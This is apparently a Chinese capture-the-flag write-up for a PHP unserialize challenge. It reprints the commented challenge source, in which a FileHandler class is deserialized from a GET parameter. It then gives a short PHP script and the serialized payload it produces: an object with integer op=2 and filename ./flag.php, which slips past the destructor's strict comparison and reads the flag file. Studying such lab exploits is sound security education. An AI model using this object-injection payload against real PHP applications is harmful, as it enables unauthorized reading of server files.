进入靶场
<?php
// 包含 flag.php 文件,通常这个文件可能包含敏感信息,如 flag
include("flag.php");// 高亮显示当前文件的源代码,方便查看代码结构和逻辑
highlight_file(__FILE__);// 定义一个名为 FileHandler 的类,用于处理文件的读写操作
class FileHandler {// 受保护的属性 $op,用于表示操作类型(1 表示写操作,2 表示读操作)protected $op;// 受保护的属性 $filename,用于存储要操作的文件名protected $filename;// 受保护的属性 $content,用于存储要写入文件的内容protected $content;// 构造函数,当创建 FileHandler 类的对象时自动调用function __construct() {// 初始化操作类型为 "1",表示写操作$op = "1";// 初始化要操作的文件名为 "/tmp/tmpfile"$filename = "/tmp/tmpfile";// 初始化要写入文件的内容为 "Hello World!"$content = "Hello World!";// 调用 process 方法处理操作$this->process();}// 公共方法,用于根据操作类型执行相应的处理public function process() {// 如果操作类型为 "1",执行写操作if($this->op == "1") {$this->write();// 如果操作类型为 "2",执行读操作并输出结果} else if($this->op == "2") {$res = $this->read();$this->output($res);// 若操作类型不是 "1" 或 "2",输出错误信息} else {$this->output("Bad Hacker!");}}// 私有方法,用于将内容写入文件private function write() {// 检查文件名和内容是否都已设置if(isset($this->filename) && isset($this->content)) {// 检查要写入的内容长度是否超过 100 个字符if(strlen((string)$this->content) > 100) {// 若超过 100 个字符,输出错误信息并终止程序$this->output("Too long!");die();}// 将内容写入指定文件,并获取写入的字节数$res = file_put_contents($this->filename, $this->content);// 根据写入结果输出相应信息if($res) $this->output("Successful!");else $this->output("Failed!");// 若文件名或内容未设置,输出错误信息} else {$this->output("Failed!");}}// 私有方法,用于从文件中读取内容private function read() {// 初始化读取结果为空字符串$res = "";// 检查文件名是否已设置if(isset($this->filename)) {// 从指定文件中读取内容$res = file_get_contents($this->filename);}return $res;}// 私有方法,用于输出结果信息private function output($s) {// 输出结果的提示信息echo "[Result]: <br>";// 输出具体的结果内容echo $s;}// 析构函数,当对象被销毁时自动调用function __destruct() {// 如果操作类型严格等于 "2",将操作类型改为 "1"if($this->op === "2")$this->op = "1";// 将内容清空$this->content = "";// 再次调用 process 方法处理操作$this->process();}
}// 定义一个验证函数,用于检查字符串是否只包含 ASCII 码在 32 到 125 之间的字符
function is_valid($s) {// 遍历字符串中的每个字符for($i = 0; $i < strlen($s); $i++)// 检查字符的 ASCII 码是否在有效范围内if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}// 检查是否通过 GET 请求传递了名为 'str' 的参数
if(isset($_GET{'str'})) {// 将获取到的参数转换为字符串$str = (string)$_GET['str'];// 检查字符串是否通过验证if(is_valid($str)) {// 若通过验证,对字符串进行反序列化操作$obj = unserialize($str);}
}
程序会根据 $op
属性的值决定执行写操作还是读操作,同时对写入内容的长度进行了限制
提供了一个验证函数 is_valid
用于检查输入字符串的合法性
允许通过 GET 请求传递一个序列化的对象进行反序列化操作
<?php
class FileHandler {public $op=2;public $filename="./flag.php";public $content;}
$a=new FileHandler;
$str1=serialize($a);
echo $str1;
?>
php在线运行,在线工具,在线编译IDE_w3cschool
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;}